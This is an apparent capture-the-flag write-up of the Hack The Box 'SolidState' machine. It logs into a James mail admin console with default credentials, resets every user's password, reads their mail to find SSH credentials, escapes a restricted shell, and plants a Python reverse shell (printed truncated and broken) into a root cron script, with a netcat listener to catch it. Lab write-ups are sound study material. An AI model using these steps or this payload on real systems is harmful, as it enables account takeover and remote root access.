Pablo González | Computer Engineer


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Solidstate icon


Hosts: solidstate.htb

Nmap output:

22/tcp   open  ssh         OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp   open  smtp        JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello solidstate.htb ( []), 
80/tcp   open  http        Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Home - Solid State Security
110/tcp  open  pop3        JAMES pop3d 2.3.2
119/tcp  open  nntp        JAMES nntpd (posting ok)
4555/tcp open  james-admin JAMES Remote Admin 2.3.2
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel


Trying a telnet solidstate.htb 4555, as 4555 is the oddest port:

James Administration Tool has default passwords root:root and it let us in (here the importance of changing default passwords).

Using HELP to list available commands:

Currently implemented commands:
help                                    display this help
listusers                               display existing accounts
countusers                              display the number of existing accounts
adduser [username] [password]           add a new user
verify [username]                       verify if specified user exist
deluser [username]                      delete existing user
setpassword [username] [password]       sets a user's password
setalias [user] [alias]                 locally forwards all email for 'user' to 'alias'
showalias [username]                    shows a user's current email alias
unsetalias [user]                       unsets an alias for 'user'
setforwarding [username] [emailaddress] forwards a user's email to another email address
showforwarding [username]               shows a user's current email forwarding
unsetforwarding [username]              removes a forward
user [repositoryname]                   change to another user repository
shutdown                                kills the current JVM (convenient when James is run as a daemon)
quit                                    close connection

I execute listusers command:

Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin

Resetting the passwords to have easy access for later:

$ setpassword james james
Password for james reset
$ setpassword thomas thomas
Password for thomas reset
$ setpassword john john
Password for john reset
$ setpassword mindy mindy
Password for mindy reset
$ setpassword mailadmin mailadmin
Password for mailadmin reset

I then begin listing mails from within the POP3 port (110) with:

telnet solidstate.htb 110
# USER james
# PASS james
# RETR 1
# ...

Nothing on James nor Thomas.

On John:

It says Mindy has a temporary password, let’s investigate his emails.

Mindy’s 1º email:

Mindy’s 2º email:

So we got credentials:

username: mindy
pass: P@55W0rd1!2@

Et voilá!

Privilege Escalation


When I try to cd to other directories it doesn’t let us, it’s a restricted shell. To bypass this we quit the ssh session and run the ssh again with the command bash like this:

ssh mindy@solidstate.htb bash

And then the TTY procedure.

I uploaded linenum but didn’t find anything interesting, so I continued and uploaded pspy to check crons and this appears:

So root is running a python script and I have full access to the file:

So the idea is to put a reverse shell inside the script and when the cron runs again, we’ll have a connection.

My reverse is:

#!/usr/bin/env python
import socket,subprocess,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
p =["/bin/sh","-i"])

Listening with nc -lnvp 4444 and… got root access!